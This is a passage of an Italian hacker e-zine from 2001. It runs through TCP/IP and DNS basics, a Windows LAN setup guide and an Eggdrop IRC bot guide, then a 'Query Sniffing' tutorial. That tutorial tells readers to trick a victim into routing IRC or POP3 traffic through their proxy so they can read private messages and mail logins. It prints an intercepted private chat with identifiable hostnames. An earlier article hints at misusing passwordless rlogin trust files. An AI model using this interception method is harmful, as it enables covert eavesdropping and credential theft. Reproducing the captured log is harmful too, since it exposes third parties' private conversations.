pc che utilizzi il tcp/ip. I computer possono cominicare direttamente fra loro solo se usano lo stesso tipo di interfaccia. Supponiamo di avere 2 pc (PC1 e PC2) che fanno parte di due reti distinte: PC1 interfaccia ethernet -> RETE A PC2 interfaccia plip -> RETE B PC1 e PC2 non comunicheranno direttamente fra loro, ma potranno comunicare tramite le due reti A e B, le quali saranno collegate fra loro da un ROUTER (o GATEWAY). Il router o gateway e' dunque un pc connesso ad entrambe le reti ed ha attive entrambi i tipi di interfaccia usati in ciascuna rete: RETE A ethernet --\ > ROUTER interfaccia ethernet e plip RETE B plip ------/ Ai router o gateway si assegnano di solito gli ip piu' bassi o piu' alti di solito disponibili sulla rete a cui appartengono: per esempio sulla rete 192.168.4.0 si assegnera' al router l'ip 192.168.4.1 oppure 192.168.4.254 Non si puo' usare l'ip 192.168.4.255 (come ip piu' alto) perche' tale ip e' l'indirizzo BROADCAST della rete. L'indirizzo broadcast e' quello a cui vengono inviati tutti i messaggi "di servizio" della rete; tra tutti i messaggi che 'girano' sulla rete, ogni pc prende in considerazione solo quelli che hanno nell'intestazione il proprio indirizzo ip oppure l'indirizzo di broadcast. Ogni rete tcp/ip ha un proprio indirizzo di broadcast che e' quello piu' alto (a.b.c.255) ROUTING O INSTRADAMENTO: Ogni pc appartenente ad una rete ha precise regole di instradamento o routing, che servono per decidere a quale delle sue interfacce di rete deve inviare un pacchetto ip uscente. I pacchetti ip sono detti anche DATAGRAM. Le regole di routing in un Linux sono nel file /proc/net/route sottoforma di una tabella a 3 campi: - possibile indirizzo di destinazione del datagram - nome dell'interfaccia a cui inviare un pacchetto che riporti quell'indirizzo di destinazione - indirizzo (opzionale) di un altro pc a cui possono essere inviati per poi raggiungere da li' la loro destinazione... RISOLUZIONE DEGLI IP: noi umani identifichiamo i pc coi nomi (HOST) e questi vanno tradotti in ip numerici, cioe' 'risolti'. Si puo' fare anche l'inverso, cioe' tradurre un ip nell'host ad esso associato: reverse lookup. La risoluzione degli ip in host si basa su due elementi (parlando di Linux): - file /etc/hosts (contiene tutti gli ip dei pc della propria rete) - DNS ovvero domain name server (il demone e' 'named') Il DNS e' un servizio che associa i nomi host agli ip. Gli host sono cosi' definiti: - ciascuna parte del nome rappresenta un DOMINIO - i dominii sono organizzati per livelli, per es. : malkavian.topcities.com malkavian ---> dominio di 3° livello topcities ---> dominio di 2° livello com ---> dominio di 1° livello I dominii di primo livello sono i classici COM (per organizzazioni commerciali), EDU (per istituzioni educative), GOV (per istituzioni governative), MIL (per enti militari), NET (per societa' di supporto alla rete), ORG (per organizzazioni senza scopo di lucro), oppure IT, UK, JP, ecc. (per i paesi di origine) Se una rete e' connessa ad internet permanentemente e non tramite un ISP (provider) allora si registrera' un dominio di 2° livello presso l'authority competente: GARR-NIS per l'italia, RIPE per l'europa, INTER-NIC per gli USA, ecc. La risoluzione degli host in ip avviene cosi': uno o piu' computer appartenenti ad una rete vengono destinati solo a questo utilizzo, essi sono i NAMESERVER. Ogni nameserver ha una 'zona di dominio', e' in grado cioe' di risolvere gli host appartenenti a pc compresi in tale zona 'virtuale'. Il processo e' questo: - Il nameserver riceve la richiesta di risolvere un host in ip - Il nameserver controlla se l'host appartiene alla sua zona di dominio e se e' cosi' lo risolve subito, altrimenti avanza la richiesta a un nameserver di livello superiore, che gestisce un'area piu' vasta. Il nameserver superiore avanza poi la richiesta a un altro nameserver 'inferiore' e cosi' via fino a trovare l'ip associato a quell'host - Se le ricerce sono troppo lunghe scatta un timeout, che indica che non e' stato possibile risolvere quell'hostname. RESTRIZIONI ALL'ACCESSO su un pc Gli host dai quali non si vuole accettare una connessione (telnet) sono contenuti in Linux all'interno del file /etc/hosts.deny mentre gli host da cui si accettano connessioni telnet SENZA RICHIEDERE LA PASSWORD sono contenuti in /etc/hosts.equiv Si accetta una connessione senza password tramite rlogin o rsh dagli host elencati in .rhosts Vi lascio intendere l'utilizzo che si puo' fare di tali files...:) COMANDI PER USI 'DI RETE' Ping Sintassi: ping host oppure ping ip E' il comando che serve per testare una connessione con un altro pc in rete. Il ping invia pacchetti di 64 byte e calcola il tempo necessario perche' essi tornino indietro dal computer al quale si sono spediti, come una specie di eco. Se la connessione non funziona si avra' il messaggio 'network is unreachable' L'invio dei pacchetti prosegue finche' non si preme la combinazione CTRL-C o CTRL-Z (che sono le combinazioni per terminare un comando su un SO UNIX). Traceroute traceroute host oppure traceroute ip (l'host e' il destinatario dei pacchetti) Fornisce informazioni sul percorso compiuto dai pacchetti ip (attraverso i vari router che collegano le reti) per arrivare all'host cui sono destinati. Netstat netstat -l ---> server in listening netstat -p ---> da' info aggiuntive sui programmi che stanno usando le porte (socket) aperte netstat -i ---> monitorizza il traffico solo su una interfaccia di rete netstat -M ---> visualizza anche le connessioni mascherate Utile per analizzare le connessioni attive o i server in listening (in attesa) presenti sul pc. Ifconfig Oltre ad altri utilizzi, digitando semplicemente 'ifconfig' avremo la lista delle intefaccie attive sul pc. SERVIZI SU UNA RETE TCP/IP I programmi che effettuano una richiesta sono detti CLIENT, quelli che rispondono a tale richiesta fornendo un servizio sono detti SERVER. L'interazione fra client e server avviene tramite i PROTOCOLLI TCP/IP, i quali non sono nient'altro che programmi di comunicazione. La comunicazione fra client e server avviene attraverso le PORTE o SOCKET dei protocolli TCP o UDP. Esse sono porte 'virtuali' attraverso le quali i programmi accedono alla rete e comunicano fra loro. Ogni servizio di rete e' associato ad una porta e ad un protocollo (tcp o udp) precisi e specifici. Nel file /etc/services e' riportato l'elenco dei servizi di rete piu' importanti e delle porte associate ad essi. Tenere presente che, ad esempio, la porta 53 TCP e' differente dalla porta 53 UDP :) Una caratteristica dei servizi di rete (gestiti dai server) e' di poter stabilire sulla stessa porta connessioni contemporanee con piu' client: dopo aver negoziato una connessione con un client, lo stesso server sulla stessa porta si mette di nuovo in ascolto (listening) in attesa della richiesta di un altro client. I servizi di rete sono attivati dai DAEMON o DEMONI, cioe' programmi che girano sempre ed in background, che parlando dei servizi di rete, sono sempre in attesa sulla porta specifica (specifichiamo che esistono anche demoni non associati a servizi di rete, ma ad altri servizi, che quindi non sono in ascolto su nessuna porta:) I demoni (riguardanti i servizi di rete) un tempo erano autonomi, cioe' ne esisteva uno per ogni servizio (telnet, finger, ecc.). Ora invece i servizi piu' comuni sono stati uniti nel 'superserver' INETD. Il file di configurazione e' /etc/inetd.conf e per disattivare un demone basta mettere il simbolo # davanti alla riga che lo descrive, poi rebootare il sistema. La comunicazione dei computer in rete e' regolata dai PROTOCOLLI: il TCP/IP e' quello usato in internet, ma ne esiste anche uno standard definito dall'ISO (organizzazione internazionale per la standardizzazione), detto OSI. I protocolli sono suddivisi in LIVELLI O LAYER, dei quali il piu' alto e' il livello APPLICATIVO, che e' l'unico con cui l'utente entra in contatto inconsapevolmente tramite i programmi che usa. Il livello piu' basso e' quello FISICO, che si occupa dell'hardware di rete. Si crea cosi' una PILA di livelli attraversata dai pacchetti in entrata e in uscita dal pc (ovviamente in direzione opposta): LIVELLO APPLICATIVO /\ || || \/ LIVELLO FISICO Protocollo TCP/IP: si ha nelle reti a commutazione di pacchetto: un pacchetto dati viene frammentato in tanti pacchetti ip (datagram) piu' piccoli prima di essere spedito. I vari pacchetti possono anche giungere al destinatario tramite percorsi diversi (attraversando vari router), quindi ci sara' da parte del pc ricevente una verifica sul numero di pacchetti ricevuti (richiedendo se necessario i pacchetti mancanti), poi seguira' un riassemblaggio nel giusto ordine di tutti i pacchetti per ricostituire il pacchetto dati originario. Il protocollo tcp/ip ha 5 livelli: APPLICATIVO Comprende i protocolli usati dai programmi dell'utente: smtp, ftp, ecc. TRASPORTO (TCP) Aggiunge l'HEADER (intestazione) che indica il protocollo applicativo che ha richiesto la trasmissione. Verifica anche i pacchetti arrivati. INTERNET (IP) Aggiunge varii dati: ip del mittente e ip del destinatario. Frammenta i pacchetti e provvede al routing. INTERFACCIA CON LA RETE produce la sequenza di bit da inviare. FISICO Trasforma i bit in impulsi per l'hardware. Per la negoziazione di una connessione tcp/ip vedere l'articolo di Tritemius sul numero 1 di OQ. Spero vivamente che mi abbiate seguito fin qui e che abbiate compreso tutto :) Comunque i dati riportati in quest'articolo sono solo una piccola parte del bagaglio culturale che uno smanettone dovrebbe avere per non ridursi a essere uno che fa cose di cui non capisce il significato. Vi ho voluto dare solo nozioni generali da avere e spero di avervi comunicato un input su tematiche da approfondire in privato... Il secondo numero dell'articolo trattera' dei comandi piu' importanti da conoscere in ambito unix...linux in primis :)) Ciaozzz e alla proxima !!! MALKAVIAN www.malkavian13.org malkavian@malkavian13.org +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #01 - 19/03/2001 | | C0NFiGURARE UNA LAN ..................................... [Weisses] 0x0C/0x1A | +-------------------------------------------------------------------------------+ Bene, bene, quello che in questo numero vado ad illustarvi e' una cosa banale, ma che sta' alla base di molte cose. Voglio essere piu' preciso: andro' ad illustrrvi come configurare una lan locale. Una rete? si proprio una rete, ricordate alla base di cosa stanno i win gate, vero? Perfetto proseguiamo. Presumiamo di avere a disposizione due pc, nel nostro caso entrambi con SO Windows e vogliamo far si che questi ultimi si scambino i dati contenuti nelle medesime cartelle e directory, come fare? niente di piu' semplice. andremo a procurarci due belle schede di rete 10-100, non spenderemo nemmeno 100.000 £,nelle due macchine, andremo a cercare due slot pci liberi (quelli bianchi per intenderci) e in ogniuno dei due inseriremo le schede. Fatto questo metteremo in comunicazione i due pc tramite un cavo cross over, ovvero un apposito cavo con le polarita' incrociate (attenzione a non usare un cavo dritto, questo ci servira' solo nel caso in cui dovessimo collegare piu' pc attraverso un hub), solitamente i cavi crossover sono di color arancione o giallo, ma non facciamoci trarre in inganno perche' potremmo trovarne anche grigi. A questo punto non ci resta che configurare il tutto: accendiamo i due pc ed installiamo i driver delle schede ethernet al momento in cui ci verra' richiesto, fatto questo andiamo nel pannello di controllo di windows, poi clicchiamo su rete, nella finestra che si aprira', vedremo fra le varie voci una con scritto: tcp/ip nome della scheda di rete, facendo doppio click su questa voce si aprira' una nuova finestra, clicchiamo su specifica indirizzo ip, vedrete che si abiliteranno due campi, uno indirizzo ip e l' altro subnet mask, a questo punto, nel computer a, nel campo indirizzo ip, scriveremo: 192.168.1.1 e nel pc b: 192.168.1.2 e cosi' via per ogni pc successivo che collegheremo. Nel campo subnet mask invece, scriveremo: 255.255.255.0 per ogni pc collegato alla rete, ora possiamo ciccare su ok e verremo rimandati alla finestra principale. Se ci fate cao, in alto alla finestra principale compare una voce IDENTIFICAZIONE, bene, cicchiamola, anche qui dovremo compilare i tre campi sottostanti, dovremo praticamente assegnare un nome e un gruppo di lavoro ad ogni singolo pc, nel caso del pc a, potremo scrivere quanto segue: NOME COMPUTER: PIPPO GRUPPO DI LAVORO: WORKGROUP DESCRIZIONE COMPUTER: SERVER (o qualsiasi altra cosa ci salti per la mente) Mentre per il pc b: NOME COMPUTER: PLUTO GRUPPO DI LAVORO: WORKGROUP DESCRIZIONE COMPUTER: CLIENT (o altro) Avete notato quindi che solo il nome deve essere differente, ma non il gruppo di lavoro, caso contrario i pc non si vedranno fra di loro. Ora resta un ultima cosa, torniamo nella finestra principale, vedremo una casella chiamata condivisione file e stampanti, clicchiamo anche qui ed abilitiamo le due voci che ci verrano visualizzate, a questo punto abbiamo finito, dobbiamo solo decidere se l' accesso ad ogni pc deve essere vincolato o meno da una password, nel caso lo volessimo non dobbiamo fare altro che lasciare invariata la voce "client per reti microsoft" nella casella "accesso primario", caso contrario ci bastera' spostarci sulla voce "accesso diretto a windows". Ok, siamo pronti, clicchiamo su ok e ci verra' chiesto di riavviare la lavatrice… ehm… il computer per applicare le modifiche. Dopo aver effettuato il riavvio, entriamo in risorse del computer e clicchiamo sulle periferiche che vorremo condividere col tasto destro del mouse, noteremo una nuova voce "condivisione", penso sia superfluo spiegare la sua funzione, cliccando potremo decidere se condividere l' unita' (il disco c:\ ad esempio con un nome e se solo in lettura o anche scrittura. Questo discorso vale per qualsiasi periferica e/o cartella del nostro pc. Adesso la nostra rete e' veramente pronta, facendo doppio clic sull' icona risorse di rete appena creatasi sul desktop, successivamente su tutta la rete, vedremo i nomi dei pc pluto e pippo con l' icona di un monitorino, ci bastera' ciccare su uno di questi e iniziare a lavorare in rete! <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [GENTLEMAN L0SER ~ iL M0ND0 Di iRC] #01 - 19/03/2001 | | 0x00 GESTiRE L'EGGDR0P ..................................... [E4zy] 0x0D/0x1A | +-------------------------------------------------------------------------------+ - Comunicare con il bot: Sessione DCC Chat: La maggior parte delle funzioni dell'Eggdrop sono controllate da una sessione DCC Chat con il bot; puoi avviare tale sessione attraverso il comando /ctcp chat, dove è il nick del tuo bot. Una volta stabilita la connessione con il tuo bot ti sarà chiesta la pass, successivamente avrai accesso al prompt dei comandi del bot; tutti i comandi sono preceduti dal . (punto). Tutto quello che non è preceduto da un punto sarà detto nella party line che non è altro che un'area di chat interna al bot ed accessibile, di conseguenza, ai soli membri del bot. Sessione Telnet: Puoi anche comandare il bot aprendo una sessione Telnet con quest'ultimo, questa possibilità si rivela piuttosto utile nell'eventualità in cui il bot non si connetta al server IRC e di conseguenza non risulti possibile una sessione DCC Chat con il bot stesso; si ha in questo modo la possibilità di comunicare ugualmente con quest'ultimo e diagnosticare le eventuali cause dei problemi. Per aprire una sessione telnet con il bot basta fornire come hostname il proprio indirizzo IP e come porta la porta specificata nel file di configurazione dell'eggdrop (di default la 3333). A questo punto vi sarà richiesto il proprio nick e la password, una volta fornitigli si avrà pieno accesso alle funzioni del bot. - Tipi di comandi: Incominciamo con l'analizzare per prima cosa i differenti tipi di comandi bot, questo ci permetterà una gestione più consapevole del nostro bot; i comandi del bot possono essere distinti in più categorie a seconda delle loro modalità d'uso. Message command: Iniziamo prendendo in esame i così detti message command; questo tipo di comandi può essere inviato direttamente dalla "console" (spazio in cui solitamente si scrive per inviare i propri messaggi ad un dato canale IRC) usando la corretta sintassi: /msg dove è il nome del vostro bot; è un qualsiasi comando; il numero di comandi eseguibili tramite msg command è piuttosto limitato, ma alcuni di essi si rivelano d'estrema importanza, uno di questi è il comando ident che ci permette di identificarci al bot una volta che la nostra mask di registrazione è cambiata, la mask può cambiare in seguito ad una riconnessione a causa della variazione del nostro indirizzo IP oppure in seguito all'utilizzo di uno script per mIRC che riporta differenti impostazioni rispetto a quello utilizzato in precedenza e fa sì che la nostra mask abbia bisogno di essere aggiornata. Il comando che adempie a tale funzione è il seguente: /msg ident dove è il nome del vostro bot; è la password scelta dai voi durante la procedura di registrazione al bot; è il nick con cui vi siete registrati al bot; per visionare la lista dei msg command utilizzare il comando /msg help. Comandi pubblici: Vi è un'altra categoria di comandi degna di nota, ed è quella dei comandi pubblici. Eggdrop non è stato concepito per eseguire questo tipo di comandi, in quanto ritenuti poco sicuri soprattutto se accessibili agli utenti che non sono operatori nel canale in cui il bot soggiorna. Se nel file di configurazione del bot viene caricato il modulo seen (loadmodule seen) e il canale è settato +seen il bot è in grado di rispondere al comando pubblico seen . Tranne per i casi indicati precedentemente i comandi al bot vengono impartiti tramite una sessione DCC Chat o una sessione Telnet, vediamo ora i comandi di che più frequentemente ci troveremo ad usare. N.B: E' possibile che l'errato o il mancato riconoscimento di comandi pubblici o durante una sessione DCC Chat siano da attribuirsi ad un difetto dello script per mIRC. In quel caso controllare se il problema si verifica anche comunicando con il bot tramite una sessione Telnet. - La console: Prima ancora di passare all'analisi dei comandi veri e propri, è doveroso introdurre il concetto di console; i settaggi della console determineranno in quale canale i comandi impartiti al bot avranno effetto. Se ad esempio il mio bot soggiorna in due canali differenti e io volessi oppare un utente in uno dei due canali, dovrei prima specificare in quale dei due canali l'operazione op vada eseguita; posso fare ciò per mezzo del comando .console <#canale>. - Comandi di monitoraggio del sistema: Una volta chiarito questo concetto, possiamo addentrarci in un'analisi più approfondita di questi comandi così detti di monitoraggio, in quanto monitorano il sistema alla ricerca di informazioni utili alla sua gestione. Una volta che ti sarai identificato al bot attraverso il comando /msg hello verrai inserito nell'user file con privilegi di owner; potrai prendere visione di questi privilegi con l'ausilio del comando: .whois l'output di tale comando restituirà importanti informazioni riguardo ai privilegi che avete sul bot e sui canali in cui esso risiede, v'informerà della presenza o meno di una password settata sul vostro "account" del bot e infine vi fornirà le mask con cui siete registrati ad esso. Un comando molto simile a .whois è il comando: .match * 9999 che restituisce le medesime informazioni del comando .whois ma riferite a tutti gli user registrati al bot. - Comandi di gestione del sistema: Quest'ultimi non operano delle vere e proprie operazioni all'interno di un certo canale ma vanno a modificare il prospetto degli user che in un certo modo interagiscono con il bot stesso. Registrazione users: E' possibile configurare il proprio bot in maniera da permettere una registrazione autonoma al bot stesso, da parte degli user interessati; è possibile intervenire su quest'opzione editando il file eggdrop.conf e abilitando la riga che prevede l'opzione learn-user ponendo il valore di verità a 1: # [0/1] let users introduce themselves to the bot via 'hello'? set learn-users 1 in questo modo ogni potenziale utente è in grado di registrarsi in maniera autonoma inviando al bot il message command /msg hello. Tuttavia questa possibilità si rivela potenzialmente pericolosa, in quanto il bot potrebbe essere vulnerabile a registrazioni inutili che andrebbero a creare solamente confusione all'interno del bot. Un user potrebbe sfruttare questa possibilità in maniera "sovversiva" registrando 1000 user inesistenti sul tuo bot =( Per evitare che questo accada è possibile lasciare l'opzione learn-user settata al valore di default e aggiungere gli utenti al bot da se, attraverso i comandi che adempiono a tale funzione; il primo di questi è il comando: .adduser questo comando va usato quando l'user da addare risiede in quel momento nello stesso server in cui risiede anche il bot, attraverso questo comando il bot è in grado di fare un whois sull'utente specificato e ricavare in questo modo la mask con cui l'utente sarà registrato. N.B: Utilizzando questo comando si è costretti ad utilizzare come nick di registrazione al bot lo stesso nick che in quel momento l'user che desiderate registrare sta utilizzando in IRC, in quanto il bot dovrà eseguire un whois su di esso. E' bene far cambiare il nick all'utente interessato in modo da evitare nomi poco significativi e talvolta difficili da ricordare (evitare nomi contenenti numeri o caratteri speciali) che possono compromettere la chiarezza della registrazione. Vi è inoltre la possibilità di usare il comando: .+user dove è un nick a scelta, non necessariamente il nick che si utilizza in IRC (a differenza di quanto detto precedentemente per il comando .adduser che necessita di eseguire un whois sull'utente) è un'hostmask scelta e settata da voi; che torna utile nel caso l'utente da registrare non risieda attualmente sul server IRC e di conseguenza il bot si trova impossibilitato nel ricavare un'hostmask di registrazione. E' possibile in questo modo attribuire un'hostmask manualmente. N.B: Non addare MAI user che stanno dietro a socks in quanto un qualsiasi altro utente che faccia uso del medesimo socks può appropriarsi momentaneamente dei privilegi di cui godeva l'user proprietario. Una volta addato un user sarà necessario che esso setti la propria password, potrà fare ciò utilizzando il message command seguente: /msg pass dove è il nome del bot; è una password a scelta dell'user; ATTENZIONE: Evitare di settare una password che coincida con il vostro nick; mai sentito parlare di guessing? =) Per settare una password per un user potete farlo (sempre che ne abbiate i permessi, dovete essere owner del bot) con il comando .chpass dove è il nick a cui si vuole cambiare la password; è una password a vostra scelta; è anche possibile lasciare vuoto il campo per disabilitare la password di un dato utente. A questo punto è possibile aggiungere o rimuovere delle mask che fanno riferimento ad un certo user, per fare questo possiamo utilizzare il comando: .+host .-host dove è il nick con cui l'user è registrato al bot; è l'hostmask che si vuole addare o rimuovere (a seconda del caso); N.B: E' più pratico che ogni singolo user si identifichi al bot tramite il message command /msg ident che aggiornerà automaticamente la mask dell'user che eseguirà tale comando. Per rimuovere un user basterà usare il comando .-user In entrambi i casi (sia che si faccia uso del comando .adduser che del comando .+user) gli utenti saranno addati al bot con le flag di default settati nel file di configurazione del bot. Sarà compito dell'owner del bot settare in seguito i flag (privilegi, es. op su un determinato canale) che vorrà attribuire ad un determinato user. - Flags (privilegi): Le flags di user determinano i privilegi di cui gode un determinato user (ad es. per quali comandi ha permesso, su che canali può essere operatore...etc.), le flags possono essere distinte in due grandi categorie, quali: flags di canale o flags globali. Vediamo ora un elenco delle più comuni flags: p - partyline f - friend v - voice o - op m - master n - owner la maggior parte delle flags possono essere attribuite come globali o come flags di canale. La flag "p" rappresenta l'eccezione, in quanto, è una flag "solo globale" e non può di conseguenza essere attribuita ad uno specifico canale; indica che l'user ha accesso alla partyline, che non è altro che una sorta di canale privato gestito dal software del bot, joinabile solo da chi ha i permessi specifici (p flag). Flags di canale: Questo tipo di flags modifica i privilegi di un user in UN DETERMINATO canale. Per attribuire una flag di canale basterà usare il seguente comando: .chattr + <#chan> dove è il nick dell'user a cui vogliamo attribuire i privilegi indicati da ; è una delle flags di user illustrate precedentemente; <#chan> è il canale in cui la flag attribuita sortirà il suo effetto; Ma vediamo ora un esempio con lo scopo di chiarire il comando appena citato: .chattr E4zy +o #Italia-NetBusters in questo modo abbiamo attribuito i privilegi di operatore, nel canale #Italia-NetBusters, all'user registrato al bot con il nick E4zy. Flags globali: Queste flags oltre ad attribuire ad un user specifico privilegi in TUTTI i canali in cui risiede il bot, da accesso a funzioni proprie del bot rendendolo, a seconda delle flags, operatore, master o persino owner del bot. Per attribuire una flag globale ad un certo user dovremo servirci del comando: .chattr + vedi sopra per quanto riguarda i dovuti chiarimenti riguardanti i termini contenuti tra < >. Vediamo ora un esempio di quanto spiegato fin ora: .chattr E4zy +o in questo modo abbiamo attribuito privilegi di operatore, in tutti i canali in cui risiede il bot e nei confronti dello stesso, all'user registrato al bot con il nick E4zy. Per rimuovere le flags si utilizzi il segno - con la sintassi precedentemente descritta: .chattr - <#chan> per rimuovere un flag di canale; .chattr - per rimuovere un flag globale; E' inoltre possibile usare la seguente sintassi per addare o rimuovere più flags contemporaneamente: .chattr +... <#chan> .chattr +... +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [GENTLEMAN L0SER ~ iL M0ND0 Di iRC] #01 - 19/03/2001 | | 0x00 QUERY SNiFFiNG ........................................ [E4zy] 0x0E/0x1A | +-------------------------------------------------------------------------------+ Intro Con il termine "sniffing di una reindirizzazione" s'intende la possibilità di reindirizzare l'output di un'applicazione in esecuzione su un host remoto, attraverso una porta locale del proprio sistema, verso un server di Rete in modo da poterne sniffare il traffico dati trasferito tra i due sistemi connessi tramite la nostra reindirizzazione. Parte teorica: Vediamo ora un esempio che possa chiarire quanto detto: Session Start: Tue Feb 06 12:40:41 2001 (E4zy) ciao (E4zy) come va con la tipa Neu? =) (E4zy) scherzo.... (Neu) ci conosciamo? (E4zy) no (Neu) rettifico (Neu) ci siamo gia' parlati? (E4zy) no (E4zy) =) (Neu) e che ne sai della tipa? (E4zy) eheh (Neu) eheh (Neu) continuo a non capire (E4zy) non ha importanza.... (E4zy) meglio così (Neu) fossi reef (Neu) che si diverte a fare sti scherzi (E4zy) no... (E4zy) bastava leggere la query =) (Neu) leggere la query (Neu) azz (Neu) qui c'e' uno smanettone (Neu) :) (E4zy) era una prova (E4zy) cmq adesso posso dire che funzia (Neu) bravo (Neu) non ho altre parole (E4zy) ti saluto....bye (Neu) ciaoz ::: Neu has left IRC (QUIT: ciao a tutti... un esame mi attende) Session Close: Tue Feb 06 12:50:19 2001 Il log riportato qui sopra è un esempio del risultato di una delle tante applicazioni di questa tecnica, è stato possibile leggere la query tra Neu e Luc|pheR in quanto quest'ultimo era connesso al server IRC tramite una reindirizzazione, ovvero il traffico in uscita dal suo PC passava attraverso una porta del mio PC dove veniva sniffato e veniva successivamente reindirizzato sul server in maniera a lui del tutto invisibile. Questo mi ha permesso di sniffare il traffico sulla porta su cui reindirizzavo la sua connessione ottenendo in questo modo anche il contenuto dei messaggi ricevuti ed inviati da Luc|pheR, ricavando informazioni riguardanti lui stesso e gli altri con cui parlava (in questo caso informazioni personali di Neu). Riporto qui di seguito il risultato dello sniffing del traffico in ingresso, ovvero i messaggi ricevuti da Luc|pheR da parte di Neu che mi hanno permesso di ricavare tali informazioni: :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :stavo cercando di capire chi fossi :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :oggi e' giornata :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :hai presente :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :il sito che ti ho dato prima :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :una tipa :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :afrodit mi ha invitato a giocare a pool :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :ho accettato :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :la prima cosa che mi ha detto e' stata :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :"sali" :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :???? :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :ho pensato :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :ho lasciato satare :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :poi mi ha detto, in tedesco` :irc.libero.it 421 Luc|pheR getlag :Unknown command :Luc|pheR!~oo@62.98.80.bg994= PART #H@ck|n'T|m3 :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :che le era piaciuto stare con l'altra notte :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :al che :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :le ho detto che il tedesco non lo capivo tanto bene :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :cosa? :irc.libero.it 421 Luc|pheR getlag :Unknown command :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :certo che no :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :magari... :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :no no :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :non la conoscevo neanche :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :peccato :) :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :cmq :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :come risposta sai cosa ha detto? (in italiano) :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :NULLA :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :ha ciuso la sessione :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :maleducata :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :gia :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :non sa chi si e' peso :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :ehehehehehe :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :perso :irc.libero.it 421 Luc|pheR getlag :Unknown command :irc.libero.it 421 Luc|pheR getlag :Unknown command :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :chiudiamo la query che dici? :Neu!neugent@=sUNlfRXu.univaq.it PRIVMSG Luc|pheR :buon buon ERROR :QUIT: 12Fate 14X Allo stesso modo è possibile sniffare i messaggi in uscita, ovvero quelli inviati dalla vittima della reindirizzazione. Facile non è vero? Parte pratica: Prima di tutto avete bisogno di un programma che reindirizzi tutto il traffico in ingresso su una porta della vostra macchina verso un sistema remoto su una determinata porta e viceversa. Per fare ciò avete bisogno di un port listener che offra tali possibilità e di un programma in grado di monitorare il traffico in ingresso e in uscita su una determinata porta. Per semplificare l'operazione consiglio l'utilizzo del programma SkyProxy (http://skd.box.sk/), che racchiude tali funzioni in un unico programma dalla semplice interfaccia. Basterà a questo punto indicare al programma la porta locale che si intende mettere in listening (sarà questa la porta a cui la vittima si dovrà connettere), l'indirizzo ip o l'hostname del server a cui si desidera reindirizzare il traffico in arrivo sulla porta locale e la relativa porta, i file su cui verrà registrato il traffico di input e di output sulla porta locale. A questo punto vi domanderete: come faccio a far connettere la vittima tramite il mio PC? Qui entra in gioco il social engineering ovvero il lato più creativo di ognuno di voi, stà a voi trovare il metodo che ritenete più opportuno: potete dire che si tratta di uno dei tanti server linkati, insomma stà alla vostra fantasia, più in gamba è la vittima che vi trovate di fronte e tanto più convincente dovrà essere la scusa. Non vi resta quindi che trovare la vostra vittima e con il social engineering spingerlo a stabilire una connessione con il vostro ip sulla porta locale messa in listening dallo SkyProxy, a quel punto non vi resta che attendere che la vittima sia connessa e che la parte client e server incomincino a comunicare. Come già detto in precedenza questa tecnica si presta ad essere usata in molteplici situazioni, riporto qui di seguito qualche esempio. Esempi pratici: 1) IRC sniffing porta locale: 6667 connect: port: 6667 dove per si intende l'ip address o l'hostname del server irc al quale si desidera reindirizzare la vittima. In questo modo sarete in grado di sniffare la sessione di chat della vittima e delle persone che chattano con esso. 2) Pop3 sniffing porta locale: 110 connect: port: 110 dove per s'intende l'ip address o l'hostname del server pop3 (posta in arrivo) al quale si desidera reindirizzare la vittima, possibilmente il server pop3 fornito dall'abbonamento della vittima, in 